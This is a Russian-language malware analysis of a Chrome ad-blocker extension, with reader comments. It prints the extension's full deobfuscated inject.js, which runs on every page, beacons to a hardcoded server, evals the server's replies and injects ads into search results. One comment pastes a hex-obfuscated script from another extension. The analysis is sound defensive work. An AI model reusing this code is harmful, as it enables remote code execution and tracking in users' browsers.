В статье приведен пример разбора вредоносного браузерного расширения из Chrome Web Store — «Убрать рекламу (HET Рекламе)».

Информация о расширении


Способ распростанения: Chrome Store
Название: «Убрать рекламу (HET Рекламе)»
ID: eaikmbeeklemcgemabilgpjkanodfmic
Дата последнего обновления (на момент написания статьи): 10 Апреля 2015
Версия расширения: 5.8
Количество пользователей в неделю: 57 000

Описание расширения:
Блокировщик рекламы: Блокирует назойливую рекламу ВКонтакте и Одноклассниках, Рекламу на YouTube, Баннеры, Всплывающие окна и др.
HET Рекламе для Google Chrome блокирует:

· Рекламу ВКонтакте и Одноклассниках
· Баннеры на всех сайтах
· Видео рекламу на Youtube
· Всплывающие окна на всех сайтах
· Любую отвлекающую и назойливую рекламу

Уникальный алгоритм самообучения!
Сделайте свой браузер машиной по переработке и устранению рекламы!

Введение


Причины опубликовать обзор именно этого расширения:
— во-первых, оно находится в Chrome Store и это является показателем того, что в магазине успешно существуют вредоносные расширения;
— во-вторых, расширение имеет немалую аудиторию, которая может даже и не знает, что у них стоит данное расширение;
— в-третьих, вредоносность данного расширения особо не прикрыта, и поэтому материал может быть доступен более широкой аудитории.

Обзор расширения


Чтобы сделать обзор необходимо получить код расширения.
Для этого установим его из Chrome Store и найдем исходные файлы расширения в соответствующей папке браузера Chrome.

В моем случае, это папка:

%appdata%\Google\Chrome\User Data\Default\Extensions\eaikmbeeklemcgemabilgpjkanodfmic

Структура файлов в данной папке:

| extension
|- 16.png
|- 48.png
|- 128.png
|- detector.js
|- inject.js
|- jquery-2.1.1.min.js
|- manifest.json
|- md5.js

Замечание 1


Расширение подобного рода не может заниматься гениальной работой с DOM и не требует кроссбраузерность. Поэтому, в лучшем случае, из jquery может понадобится 5 функций, которые видимо сложно было написать, поэтому решили взять библиотеку.

Идем далее.

Всякое расширение для chromium-браузеров начинает свой путь с файла manifest.json.
Открываем его:

manifest.json
{
   "content_scripts": [ {
      "js": [ "md5.js", "detector.js", "jquery-2.1.1.min.js", "inject.js" ],
      "matches": [ "http://*/*", "https://*/*" ],
      "run_at": "document_start"
   } ],
   "description": "...",
   "icons": {
      "128": "128.png",
      "16": "16.png",
      "48": "48.png"
   },
   "manifest_version": 2,
   "name": "Убрать рекламу (HET Рекламе)",
   "update_url": "https://clients2.google.com/service/update2/crx",
   "version": "5.8"
}


Замечание 2


Расширение внедряет все свои скрипты в каждую открытую вами страницу. Это плохо и с точки зрения безопасности, и с точки зрения производительности.

Итак, на каждой странице мы имеем следующие js-файлы:

- md5.js
- detector.js
- jquery-2.1.1.min.js
- inject.js


На мой взгляд, самый подозрительный файл из названия — это inject.js. Поэтому начнем с него, а если понадобится то взглянем и на остальные.
Файл обфусцирован, если это можно так назвать. Приведу первые символы, а вы догадайтесь чем же он обфусцирован:

eval(function(p,a,c,k,e,d){...


Те, кто встречался с обфускацией, разочаровано сейчас вздохнули «Как банально. Что-то типа этого». Мне обычно в такие моменты вспоминается следующая цитата из фильма Большой куш (Snatch):

— *****-колотить, держите меня крепче! Это что такое?
— Это мой ремень.
— Нет, Томми, у тебя пистолет в штанах. Что делает пистолет у тебя в штанах?
— Это для защиты.
— Для защиты от кого? От фашистов что ли? Ты не боишься отстрелить себе яйца, когда присядешь?


Разобфусцируем данный код с помощью прекрасного сервиса JSBeautifier. Имеем:

inject.js
(function () {
    var host = 'http://5.61.39.110/';
    var aid = '49207271-5844-11e4-a8cb-a0b3cce611e4';
    var ttl = 350;
    var MAX_TTL = 3600;

    function getRandomInt(min, max) {
        return Math.floor(Math.random() * (max - min + 1)) + min
    }

    function ss(str) {
        return (str + '')
            .replace(/\\(.?)/g, function (s, n1) {
                switch (n1) {
                case '\\':
                    return '\\';
                case '0':
                    return '\u0000';
                case '':
                    return '';
                default:
                    return n1
                }
            })
    }

    function getKeyword() {
        try {
            var ses = [
    [/google\./i, /(\?|&)q=(.*?)(&|$)/i, 2],
    [/search\.yahoo\./i, /(\?|&)p=(.*?)(&|$)/i, 2],
    [/bing\.com/i, /(\?|&)q=(.*?)(&|$)/i, 2],
    [/search\.aol\./i, /(\?|&)q=(.*?)(&|$)/i, 2],
    [/ask\.com/i, /(\?|&)q=(.*?)(&|$)/i, 2],
    [/altavista\./i, /(\?|&)q=(.*?)(&|$)/i, 2],
    [/search\.lycos\./i, /(\?|&)query=(.*?)(&|$)/i, 2],
    [/alltheweb\./i, /(\?|&)q=(.*?)(&|$)/i, 2],
    [/yandex\./i, /(\?|&)text=(.*?)(&|$)/i, 2],
    [/(nova\.|search\.)?rambler\./i, /(\?|&)query=(.*?)(&|$)/i, 2],
    [/gogo\./i, /(\?|&)q=(.*?)(&|$)/i, 2],
    [/go\.mail\./i, /(\?|&)q=(.*?)(&|$)/i, 2],
    [/nigma\./i, /(\?|&)s=(.*?)(&|$)/i, 2]
];

            var q = null;
            var ref = document.location.href;

            for (var i = 0; i < ses.length; i++) {
                var se = ses[i];
                if (ref.match(se[0])) {
                    q = ref.match(se[1])[se[2]];
                    break
                }
            }

            return q
        } catch (e) {
            return
        }
    }

    function getDomain(data) {
        var a = document.createElement('a');
        a.href = data;
        return a.hostname
    }

    function url() {
        return getDomain(document.location.href)
    }

    function strips(str) {
        str = str.replace(/(?:\\[rn]|[\r\n]+)+/g, "");
        str = str.replace(/\s+/g, "");
        return str
    }

    function isHtml5StorageSupported() {
        try {
            return 'localStorage' in window && window['localStorage'] !== null
        } catch (e) {
            return false
        }
    }

    function getCountry() {
        if (isHtml5StorageSupported()) {
            return localStorage.getItem('country')
        } else {
            return null
        }
    }

    function getData() {
        if (isHtml5StorageSupported()) {
            return JSON.parse(localStorage.getItem('data'))
        } else {
            return null
        }
    }

    function setData(value) {
        if (isHtml5StorageSupported()) {
            localStorage.setItem('data', value)
        }
    }

    function getRequestInterval() {
        var retVal = Math.round(new Date()
            .getTime() / 1000 / 60);
        if (isHtml5StorageSupported()) {
            var value = localStorage.getItem('xdata_ttl');
            if (value == null) {
                localStorage.setItem('xdata_ttl', retVal)
            } else {
                retVal = value * 1
            }
        }
        return retVal
    }

    function resetTTL() {
        if (isHtml5StorageSupported()) {
            localStorage.setItem('xttl', ttl)
        }
    }

    function getTTL() {
        var retVal = ttl;
        if (isHtml5StorageSupported()) {
            var value = localStorage.getItem('xttl');
            if (value != null) {
                retVal = value * 1
            } else {
                localStorage.setItem('xttl', retVal)
            }
        }
        return retVal
    }

    function incrementTTL() {
        var retVal = ttl;
        if (isHtml5StorageSupported()) {
            var value = localStorage.getItem('xttl');
            if (value == null) {
                localStorage.setItem('xttl', retVal)
            } else {
                value = value * 1;
                retVal = value + ttl;
                if (retVal >= MAX_TTL) {
                    retVal = ttl
                }
                localStorage.setItem('xttl', retVal)
            }
        }
        return retVal
    }

    function isUpdateTime() {
        var currentTime = Math.round(new Date()
            .getTime() / 1000 / 60);
        var ttlOrigin = localStorage.getItem('xttl');
        var ownTTL = getTTL();
        var result = (currentTime - getRequestInterval() >= ownTTL);
        if (result) {
            localStorage.setItem('xdata_ttl', currentTime)
        }
        if (ttlOrigin == null) {
            result = true
        }
        return result
    }

    function shuffle(o) {
        for (var j, x, i = o.length; i; j = Math.floor(Math.random() * i), x = o[--i], o[i] = o[j], o[j] = x) {};
        return o
    };

    function fisherYates(myArray) {
        var i = myArray.length;
        if (i == 0) return false;
        while (--i) {
            var j = Math.floor(Math.random() * (i + 1));
            var tempi = myArray[i];
            var tempj = myArray[j];
            myArray[i] = tempj;
            myArray[j] = tempi
        }
    }

    function updateKeyword() {
        return;
        var key = getKeyword();
        if (key == undefined || key.length == 0) {
            return
        }
        $.get(host + 'get_content.php', {
            'action': 'add_keyword',
            'aid': aid,
            'guid': guid,
            'url': url(),
            'key': getKeyword()
        })
    }

    function injectArrayOfAds(advs) {
        for (var idx in advs) {
            var ad = advs[idx];
            if (ad.need_send_view) {
                continue
            }
            var adShownAlready = false;
            $(ad.html)
                .each(function () {
                    var self = $(this);
                    if (self.html()
                        .indexOf(ad.adv_id) != -1) {
                        adShownAlready = true;
                        return false
                    }
                });
            if (adShownAlready) {
                continue
            }
            $(ad.html)
                .each(function () {
                    var self = $(this);
                    var aidElement = $('*[aid=\'' + aid + '\']');
                    if (self.html()
                        .indexOf(aid) == -1) {
                        var clickRedirectionUri = host + 'get_content.php?action=click&aid=' + aid + '&guid=' + guid + '&adv_id=' + ad.adv_id + '&key=' + getKeyword();
                        ad.aa_text = ad.aa_text.replace(/\{AID\}/g, "'aid'='" + aid + "'");
                        ad.aa_text = ad.aa_text.replace(/\{REDIRECT_URL\}/g, 'aid=\'' + aid + '\' onClick="self.location=\'' + clickRedirectionUri + '\'; return false;"');
                        ad.host = host + 'get_content.php?action=view&aid=' + aid + '&guid=' + guid + '&adv_id=' + ad.adv_id;
                        if (ad.inject_mode == 1) {
                            self.html(ad.aa_text);
                            ad.need_send_view = true;
                            return false
                        } else if (ad.inject_mode == 2 && aidElement.length == 0) {
                            self.before(ad.aa_text);
                            ad.need_send_view = true;
                            return false
                        } else if (ad.inject_mode == 3 && aidElement.length == 0) {
                            self.after(ad.aa_text);
                            ad.need_send_view = true;
                            return false
                        }
                    } else {}
                })
        }
        var notify = [];
        for (var idx in advs) {
            var ad = advs[idx];
            if (ad.need_send_view) {
                notify.push(ad.adv_id)
            }
        }
        if (notify.length != 0) {}
    }

    function ucfirst(string) {
        return string.charAt(0)
            .toUpperCase() + string.slice(1)
    }

    function checkLoadedPage(data) {
        if (data == null || data.message != 'OK')
            return;

        var gKeywordFound = false;
        var keyword = decodeURI(getKeyword());
        keyword = keyword.replace(/\+/g, ' ');
        keyword = keyword.toLowerCase();

        var advs = [];

        // пробежимся по всем ключам объекта response, полученного с веб-сервера
        for (var key in data.response) {
            // создадим для каждого jquery-элемент на основании того что получено с веб-сервера
            var element = data.response[key];
            var foundHtml = $(element.html);
            if (foundHtml.length == 0) {
                continue
            }

            // если присланный данные не имеют свойства advs (рекламы другими словами)
            if (element.advs == undefined) {
                data.response[key].advs = [];

                // делаем запрос с вашим ключевым словом и дополнительной информацией о вас (пол, страна)
                $.ajax({
                    url: host + 'get_content.php',
                    type: "GET",
                    data: {
                        'action': 'get_adv_cached',
                        'aid': aid,
                        'guid': guid,
                        'url': url(),
                        'gender': '*',
                        'ap_id': element.ap_id,
                        'key': getKeyword(),
                        'country': data.country
                    },
                    async: false,
                    success: function (result) {
                        try {
                            // еще один eval ...
                            var dd = eval('(' + result + ')');
                            // сохраняем данные о рекламе в нашем объекте
                            for (var rs in dd.response) {
                                data.response[key].advs.push(dd.response[rs])
                            }
                            // а ребята все-таки умеют пользоваться JSON.stringify
                            setData(JSON.stringify(data))
                        } catch (e) {
                            console.log(e)
                        }
                    }
                })
            } else {
                // Если есть данные о рекламе, то собираем html с рекламой для данной поисковой системы
                for (var adv in element.advs) {
                    var ad = element.advs[adv];
                    if (ad.ar_text == null) {
                        advs.push(ad);
                        continue
                    }
                    var splitted = ad.ar_text.split('\r\n');
                    for (var idx in splitted) {
                        if (keyword.indexOf(splitted[idx].toLowerCase()) == -1 || splitted[idx].length == 0) {
                            continue
                        }
                        ad.aa_text = ad.aa_text.replace(/\{KEYWORD\}/g, keyword);
                        ad.aa_text = ad.aa_text.replace(/\{KEYWORD_B\}/g, ucfirst(keyword));
                        ad.aa_text = ad.aa_text.replace(/\{KEYWORD_CONTEXT\}/g, splitted[idx]);
                        ad.aa_text = ad.aa_text.replace(/\{KEYWORD_CONTEXT_B\}/g, ucfirst(splitted[idx]));
                        // Вставляем рекламу
                        injectArrayOfAds([ad]);
                        gKeywordFound = true;
                        break
                    }
                }
            }
        }

        if (!gKeywordFound && advs.length != 0) {
            injectArrayOfAds(advs)
        }
    }

    guid = '';

    try {
        guid = pstfgrpnt_as_hash()
    } catch (e) {
        guid = 'chrome_u'
    }

    var isLoading = false;

    var main = function () {
        if (isUpdateTime()) {
            console.log("CHECKING FOR UPDATE...");
            isLoading = true;
            $.get(host + 'get_content.php', {
                    'action': 'get_places_cached',
                    'aid': aid,
                    'guid': guid,
                    'gender': '*'
                }, function (result) {
                    try {
                        data = eval('(' + result + ')');
                        if (data.message != 'OK') {
                            return
                        }
                        setData(JSON.stringify(data));
                        resetTTL();
                        console.log("UPD SUCCESS")
                    } catch (e) {
                        console.log(e);
                        return
                    } finally {
                        isLoading = false
                    }
                })
                .error(function (jqXHR, textStatus, errorThrown) {
                    incrementTTL();
                    console.log('REQUEST FAILED, NEXT CHECK IN ' + getTTL())
                });
            console.log("CHECKING FOR UPDATE DONE")
        }
    };

    main();

    var id = setInterval(function () {
        main()
    }, 100);

    setInterval(function () {
        var data = getData();

        if (data == null) {
            return
        }

        checkLoadedPage(data)
    }, 100)
})();



Читаем полученный код. Оставлю только интересные моменты:

// ниже данная функция вызывается
var main = function () {
    // нужно ли обновляться
    if (isUpdateTime()) {
        // ...
        // полный url имеет вид http://5.61.39.110/get_content.php
        $.get(host + 'get_content.php', 
            // ... 
            function (result) {
                try {
                    data = eval('(' + result + ')');
                    // ...
                } catch (e) {
                    // ...
                }
                // ...
            });
            // ...
    }
};

main();


В данной функции идет получение данных с веб-сервера.

Замечание 3


А что происходит с ответом? А происходит следующее:

data = eval('(' + result + ')');

Т.е. на каждом сайте выполняется любой код, который прислал веб-сервер. Другими словами, этот код может увести куки, может отправить какую-то информацию о вас (пароли), может сделать все, что угодно на любой странице, которую вы посетили.

Вроде бы уже и этого достаточно, чтобы считать расширение вредоносным, но продолжим дальше. Вдруг у кого-нибудь возникнут мысли, что на самом деле разработчики честные и просто забыли про JSON.parse.

Идем далее.
Ниже вызова функции main() есть вызов функции checkLoadedPage().

функция checkLoadedPage() (+ комментариями)
// пробежимся по всем ключам объекта response, полученного с веб-сервера
for (var key in data.response) {
    // создадим для каждого jquery-элемент на основании того что получено с веб-сервера
    var element = data.response[key];
    var foundHtml = $(element.html);
    if (foundHtml.length == 0) {
        continue
    }

    // если присланный данные не имеют свойства advs (рекламы другими словами)
    if (element.advs == undefined) {
        data.response[key].advs = [];

        // делаем запрос с вашим ключевым словом и дополнительной информацией о вас (пол, страна)
        $.ajax({
            url: host + 'get_content.php',
            type: "GET",
            data: {
                // ...
            },
            async: false,
            success: function (result) {
                try {
                    // еще один eval ...
                    var dd = eval('(' + result + ')');
                    // сохраняем данные о рекламе в нашем объекте
                    for (var rs in dd.response) {
                        data.response[key].advs.push(dd.response[rs])
                    }
                    // а ребята все-таки умеют пользоваться JSON.stringify
                    setData(JSON.stringify(data))
                } catch (e) {
                    console.log(e)
                }
            }
        })
    } else {
        // Если есть данные о рекламе, то собираем html с рекламой для данной поисковой системы
        for (var adv in element.advs) {
            var ad = element.advs[adv];
            if (ad.ar_text == null) {
                advs.push(ad);
                continue
            }
            var splitted = ad.ar_text.split('\r\n');
            for (var idx in splitted) {
                if (keyword.indexOf(splitted[idx].toLowerCase()) == -1 || splitted[idx].length == 0) {
                    continue
                }
                ad.aa_text = ad.aa_text.replace(/\{KEYWORD\}/g, keyword);
                // ...
                // Вставляем рекламу
                injectArrayOfAds([ad]);
                // ...
                break
            }
        }
    }
}

if (!gKeywordFound && advs.length != 0) {
    injectArrayOfAds(advs)
}


Замечание 4


Данная функция меняет поисковую выдачу для следующих поисковых систем:

var ses = [
    [/google\./i, /(\?|&)q=(.*?)(&|$)/i, 2],
    [/search\.yahoo\./i, /(\?|&)p=(.*?)(&|$)/i, 2],
    [/bing\.com/i, /(\?|&)q=(.*?)(&|$)/i, 2],
    [/search\.aol\./i, /(\?|&)q=(.*?)(&|$)/i, 2],
    [/ask\.com/i, /(\?|&)q=(.*?)(&|$)/i, 2],
    [/altavista\./i, /(\?|&)q=(.*?)(&|$)/i, 2],
    [/search\.lycos\./i, /(\?|&)query=(.*?)(&|$)/i, 2],
    [/alltheweb\./i, /(\?|&)q=(.*?)(&|$)/i, 2],
    [/yandex\./i, /(\?|&)text=(.*?)(&|$)/i, 2],
    [/(nova\.|search\.)?rambler\./i, /(\?|&)query=(.*?)(&|$)/i, 2],
    [/gogo\./i, /(\?|&)q=(.*?)(&|$)/i, 2],
    [/go\.mail\./i, /(\?|&)q=(.*?)(&|$)/i, 2],
    [/nigma\./i, /(\?|&)s=(.*?)(&|$)/i, 2]
];


Собственно, по этой проблеме и поступили жалобы от пользователей.

Резюме по расширению


  • избыточный код (это ресурсы вашего компьютера);
  • весь код расширения запускается на каждой странице (это ресурсы вашего компьютера);
  • расширение выполняет любой код, присланный с веб-сервера (просто приведу набор словосочетаний — онлайн-банкинг, пароли, сообщения, анонимность);
  • расширение дополнительно вставляет свою поисковую выдачу.


P.S. Если кому-то покажется странным подход к обзору расширения «Причем тут jquery? Причем тут плохая структура кода?», сразу даю ответ: факт того, что расширение требует больше прав, чем нужно, вставляет код на страницы больше, чем нужно — является первым признаком вредоносного расширения.

P.P.S. Большое спасибо тем, кто присылает сообщения с указанием ошибок!

Комментарии (47)


  1. evnuh
    15.04.2015 12:06
    +20

    Добро пожаловать в прекрасный мир браузерных аддонов. Гугл не проверяет свои расширения, чем малвари и пользуются. Не даром там такое кол-во скачивальщиков музыки из вконтакта, все хотят заработать. Вот у мозиллы аж две модерации — автоматическая, затем ручная. Там такое не пройдёт. А тут я вам больше скажу — можете обратиться к любому автору такого трояна, он вам за 2к рублей вставит любой ваш js код к себе на сервер, за этим там и есть eval().


    1. SDI Автор
      15.04.2015 13:26
      +2

      Да с Chrome Store все печально.
      За полгода собрал базу в 700 вредоносных расширений.
      И, к сожалению, не получаю никакой обратной связи, когда отсылаю им письма об этом.

      Сегодня, кстати, заметил проблему с довольно популярным расширением uBlock. Так что если у кого-то установлено — то лучше отключить, пока не прояснится с ним ситуация.


      1. sabio
        15.04.2015 13:55
        +3

        А можно поподробнее, что за проблема с uBlock?
        Сам недавно на него перешёл польстившись на меньшее потребление ресурсов.
        Правда, я на Firefox. Но, подозреваю, кодовая база там более-менее одинаковая.


        1. SDI Автор
          15.04.2015 14:11
          +2

          У меня uBlock в Chrome Store на данный момент не доступно «Item not found. This item may have been removed by its author.» (ссылка есть в комментарии выше). По этой ссылке находилось основное расширение с 700 000 пользователей (если память не изменяет).

          Для вредоносных расширений это нормальная картина.
          — добавляют чистое расширение в Store
          — нагоняют людей
          — обновляют расширение на вредоносное
          — у пользователей расширение обновляется
          — отключают расширение в Store
          — а у пользователей расширение остается

          Что реально произошло с uBlock не знаю. Но я придерживаюсь принципа «Нет в магазине — в браузере тоже не должно быть». И отключаю.


          1. cjmaxik
            15.04.2015 14:32

            Вот оно — chrome.google.com/webstore/detail/ublock/epcnnfbjfcgphgdmggkamkmgojdagdnn

            В старом репозитории следующая ремарка:

            Important note: This is a fork of the new official repo. Although both projects are essentially the same as of 0.9.3.0, they will probably start to diverge as time goes. I consider uBlock? here to be feature-complete. I will keep maintaining the project here though so as to ensure it works just fine, i.e. bug fixing for the most part.


          1. iPharaon
            15.04.2015 14:36
            +2

            Раньше uBlock размещался на этом аккаунте гитхаба.
            Теперь там висит объявления, что на этом аккаунте теперь будет форк (uBlock origin), а новая официальная страница — тут, там есть ссылка на магазин расширений Chrome, где уже висит новое расширение uBlock.
            P.S. Еще больше недели назад заметил, что к имени расширения добавилась маленькая буква «o» и версия изменилась на 0.9.4.1, хотя на странице расширения на гитхабе такой версии не было.


            1. cjmaxik
              15.04.2015 14:38
              +3

              Исходное расширение заблокировали — github.com/gorhill/uBlock/issues/50


          1. sabio
            15.04.2015 14:38

            Может быть, это связано со сменой мэйнтейнера в версии 0.9.3.0?

            The uBlock project's main development responsibilities have been transferred to Chris Aljoudi (chrisaljoudi on GitHub)


            Ссылка на Chrome add-on с домашней страницы (https://chrismatic.io/ublock/) ведёт сюда.


          1. ComodoHacker
            15.04.2015 19:11

            uBlock — точно не вредоносное расширение.


      1. glazik
        15.04.2015 14:31

        А зачем собирали, если не секрет?


        1. SDI Автор
          15.04.2015 14:49

          Не секрет.
          Есть свое расширение, которое проверяет установленные расширения у пользователя и сообщает, если среди них есть вредоносные.
          По моим ощущением, на текущий момент это более острая проблема, чем реклама на сайтах. Так как от последней существует уже много решений.


          1. Motion
            15.04.2015 17:43

            Не могли бы свое расширение посоветовать для такой проверки?


            1. SDI Автор
              15.04.2015 19:44

              Ссылка на расширение в Chrome Store
              На сайте расширения можно найти инструкцию с описанием возможностей.


              1. Quiensabe
                16.04.2015 06:00

                По ссылке очередное расширение для блокировки рекламы. Это точно оно?
                Я так понимаю вопрос был именно про сканер расширений на предмет вредоносных.


                1. SDI Автор
                  16.04.2015 07:59

                  Да, данное расширение может сканировать вредоносные расширения.
                  Обязательно добавлю в следующем спринте в описание данную опцию.


                  1. bubuq
                    21.04.2015 11:09
                    -1

                    То есть, борется с конкурентами? Пока выглядит так.


                    1. SDI Автор
                      21.04.2015 12:32

                      Исходный код расширения выложен на GitHub, база блокируемых расширений доступна на сайте расширения в полном объеме.
                      Можете смело написать статью, как оно «борется с конкурентами».


      1. limonte
        15.04.2015 17:24

        ложная тревога, вернули расширение.


  1. kelegorm
    15.04.2015 12:43
    -3

    Дедушке ноут недавно купили. Проверял на днях, стоит какие-то два расширения (не помню названия) не понятных, а по клике по ссылкам на сайтах, которым я доверяю, идет переход на сайт мавродия. Ужас какой :)


    1. ChiefPilot
      16.04.2015 17:53
      +2

      Дедушке ноут недавно купили.
      В вольное плаванье деда пустили.
      Как-то на днях я зашёл поглядеть,
      А у него там ну прям о… чуметь:
      Два расширенья для Хрома (так вроде?)
      Лезут упорно на сайты Мавроди!
      :)


  1. BloodUnit
    15.04.2015 14:23

    Несколько раз со мной связывались различные люди, и предлагали внедрить скрипт в расширение. Цена в районе 0.10-0.50$ за пользователя в месяц.
    Эти скрипты должны были внедряться на некоторых сайтах, например ebay, и загружать рекламу. Видел несколько расширений в Store которые использовали таки эти скрипты, кажется их потом забанили и они вернулись в Store уже без скриптов.

    Да, у Firefox человеческая модерация, это хорошо. Но минус то, что она бывает долго длится, и иногда аддон не пускают по совсем уж мелочным вещам.
    У Оперы модерация еще строже, по моим ощущениям.


    1. SDI Автор
      15.04.2015 14:53

      Да, с Opera как-то все серьезно. Ну за это им огромный плюс.
      Написал расширение, решил заложить на будущее дополнительные права и просто js-файлы. На модерации попросили удалить.


  1. xamd
    15.04.2015 14:33

    Чего-то я не понимаю в этом мире: чем людей обычный AdBlock не устраивает?


    1. sabio
      15.04.2015 14:43
      +5

      1. xamd
        15.04.2015 15:20

        Спасибо, это немного прояснило ситуацию.


      1. dice
        15.04.2015 17:34
        +2

        Не путайте AdBlock Plus с нормальным AdBlock.


        1. sabio
          15.04.2015 19:48
          -1

          И где же взять этот чудесный «настоящий» AdBlock для Firefox?

          На домашней странице никаких ссылок нет. Если открыть её в Firefox, говорят, что требуется Chrome, Safari или Opera. Если открыть в IE — Opera чудесным образом меняется на Firefox. Т.е. под Firefox он, вроде как, должен быть. Но в листинге аддонов Firefox его не видно (просмотрел 5 страниц по запросу AdBlock).

          Кстати, если сходить по второй ссылке, которую я привёл выше, AdBlock 2.0 / 2.15 там фигурирует на диаграммах. Не с лучшей стороны.


          1. dice
            15.04.2015 19:51
            -3

            Пост был о расширениях для Chrome, при чём тут ваш Firefox?


        1. abrwalk
          16.04.2015 05:12
          +1

          AdBlock Plus — настоящий адблок, от той же команды что делают оригинальный для FF.
          Adblock — форк отпочковавшейся обиженки из их команды, по сути создан для сбора доната одним человеком.

          А что касается «продажного» белого списка — отключается одним чекбоксом «Allow some non-intrusive advertising», ничего критичного в этом нет.


          1. dice
            16.04.2015 10:23
            +1

            Не совсем так, то есть совсем не так. AdBlock — не форк от ABP, а(изначально) альтернатива для Хрома. Расширение AdBlock для Хрома появилось на год раньше чем у ABP, собственно ABP изначально не желали делать расширение для программ, работающих не на движке Gecko.

            Белый список-то отключается, но некоторая реклама всё равно показывается.


    1. evnuh
      15.04.2015 14:53
      +2

      Чаще всего тем, что большинство пользователей и не в курсе о «как его там, блокировщик рекламы который». Так и вводят в поиск.


    1. kovalevsky
      15.04.2015 15:44
      +4

      AdBlock блочит AJAX запросы к API, в котором есть слово advertisements. Мне этого хватило, чтоб его удалить :/


    1. Moskus
      16.04.2015 04:22
      +2

      Ну, просто поглядев на страницу этого расширения, можно легко понять, что оно ориентировано на тех, кто не слишком блещет умом (как и автор расширения), а потому их не смутит уродское оформление страницы расширения, орфографические ошибки на ней, и так далее.

      Зато когда они вобьют в поиск расширений «убрать рекламу», это расширение выйдет вторым из трех (вместе с Remove Ads VK и Adblock Super), и его описание будет на русском языке. Так что своих неграмотных идиотов оно гарантированно найдет. А про AdBlock эта целевая аудитория, вероятно, даже и не слышала.


  1. E_STRICT
    15.04.2015 15:37

    Разобфусцируем данный код с помощью прекрасного сервиса JSBeautifier.

    Как раз сегодня пытался с помощью этого сервиса привести в читабельный вид multilogin.
    Вот что получилось:
    background.min.js
    var _0x576f = ["\x38\x20\x66\x3D\x7B\x7D\x2C\x67\x3D\x5B\x5D\x2C\x6C\x3D\x5B\x5D\x3B\x6D\x28\x22\x22\x29\x3B\x32\x2E\x31\x42\x2E\x33\x63\x2E\x48\x28\x37\x28\x29\x7B\x6E\x2B\x2B\x3B\x38\x20\x62\x3D\x7B\x7D\x3B\x62\x2E\x31\x6C\x3D\x6E\x3B\x32\x2E\x6A\x2E\x56\x2E\x52\x28\x62\x29\x3B\x32\x2E\x4C\x2E\x31\x69\x28\x7B\x7D\x2C\x37\x28\x61\x29\x7B\x70\x28\x61\x2E\x59\x2C\x61\x2E\x59\x2B\x22\x69\x40\x40\x40\x69\x22\x29\x7D\x29\x7D\x29\x3B\x38\x20\x71\x2C\x6E\x2C\x72\x2C\x73\x2C\x74\x2C\x75\x3B\x32\x2E\x31\x66\x2E\x33\x6D\x2E\x48\x28\x37\x28\x62\x29\x7B\x32\x2E\x6A\x2E\x56\x2E\x4F\x28\x22\x31\x45\x22\x2C\x37\x28\x61\x29\x7B\x71\x3D\x61\x2E\x31\x45\x3B\x71\x7C\x7C\x28\x71\x3D\x28\x31\x37\x20\x31\x63\x29\x2E\x31\x65\x28\x29\x2C\x61\x2E\x31\x45\x3D\x71\x2C\x32\x2E\x6A\x2E\x56\x2E\x52\x28\x61\x29\x29\x7D\x29\x3B\x32\x2E\x6A\x2E\x56\x2E\x4F\x28\x22\x31\x6C\x22\x2C\x37\x28\x61\x29\x7B\x6E\x3D\x61\x2E\x31\x6C\x3B\x6E\x7C\x7C\x28\x6E\x3D\x30\x2C\x61\x2E\x31\x6C\x3D\x6E\x2C\x32\x2E\x6A\x2E\x56\x2E\x52\x28\x61\x29\x29\x7D\x29\x3B\x32\x2E\x6A\x2E\x56\x2E\x4F\x28\x22\x31\x76\x22\x2C\x37\x28\x61\x29\x7B\x72\x3D\x61\x2E\x31\x76\x3B\x72\x7C\x7C\x28\x72\x3D\x77\x28\x29\x2C\x61\x2E\x31\x76\x3D\x72\x2C\x32\x2E\x6A\x2E\x56\x2E\x52\x28\x61\x29\x29\x7D\x29\x3B\x32\x2E\x6A\x2E\x54\x2E\x4F\x28\x22\x58\x22\x2C\x37\x28\x61\x29\x7B\x61\x2E\x58\x7C\x7C\x28\x61\x2E\x58\x3D\x77\x28\x29\x2C\x32\x2E\x6A\x2E\x54\x2E\x52\x28\x61\x29\x29\x3B\x73\x3D\x61\x2E\x58\x3B\x31\x68\x2E\x31\x31\x7C\x7C\x28\x31\x68\x2E\x31\x31\x3D\x22\x32\x32\x5C\x4A\x22\x2B\x73\x2B\x22\x3B\x32\x31\x2D\x32\x38\x5C\x32\x30\x22\x29\x7D\x29\x3B\x32\x2E\x6A\x2E\x54\x2E\x4F\x28\x22\x31\x6D\x22\x2C\x37\x28\x61\x29\x7B\x61\x2E\x31\x6D\x7C\x7C\x28\x61\x2E\x31\x6D\x3D\x32\x2E\x31\x66\x2E\x31\x44\x28\x29\x2E\x31\x46\x2C\x32\x2E\x6A\x2E\x54\x2E\x52\x28\x61\x29\x29\x3B\x74\x3D\x61\x2E\x31\x6D\x7D\x29\x3B\x32\x2E\x6A\x2E\x54\x2E\x4F\x28\x22\x58\x22\x2C\x37\x28\x61\x29\x7B\x61\x2E\x58\x7C\x7C\x28\x61\x2E\x58\x3D\x77\x28\x29\x2C\x32\x2E\x6A\x2E\x54\x2E\x52\x28\x61\x29\x29\x3B\x73\x3D\x61\x2E\x58\x3B\x31\x68\x2E\x31\x31\x7C\x7C\x28\x31\x68\x2E\x31\x31\x3D\x22\x32\x32\x5C\x4A\x22\x2B\x73\x2B\x22\x3B\x32\x31\x2D\x32\x38\x5C\x32\x30\x22\x29\x7D\x29\x3B\x32\x2E\x6A\x2E\x54\x2E\x4F\x28\x22\x31\x30\x22\x2C\x37\x28\x61\x29\x7B\x75\x3D\x61\x2E\x31\x30\x7D\x29\x3B\x32\x2E\x6A\x2E\x56\x2E\x4F\x28\x37\x28\x29\x7B\x78\x28\x62\x29\x7D\x29\x7D\x29\x3B\x37\x20\x78\x28\x62\x29\x7B\x22\x33\x39\x22\x3D\x3D\x3D\x62\x2E\x31\x73\x26\x26\x62\x2E\x31\x57\x21\x3D\x32\x2E\x31\x66\x2E\x31\x44\x28\x29\x2E\x31\x46\x26\x26\x79\x28\x62\x2E\x31\x73\x2B\x22\x5C\x32\x52\x5C\x4A\x22\x2B\x62\x2E\x31\x57\x29\x3B\x22\x31\x30\x22\x21\x3D\x3D\x62\x2E\x31\x73\x7C\x7C\x28\x30\x21\x3D\x28\x28\x31\x37\x20\x31\x63\x29\x2E\x31\x65\x28\x29\x2D\x71\x29\x2F\x31\x56\x3C\x3C\x30\x7C\x7C\x75\x29\x7C\x7C\x32\x2E\x4C\x2E\x31\x47\x28\x7B\x50\x3A\x22\x6F\x3A\x2F\x2F\x32\x2E\x4D\x2E\x49\x2F\x31\x55\x2A\x22\x7D\x2C\x37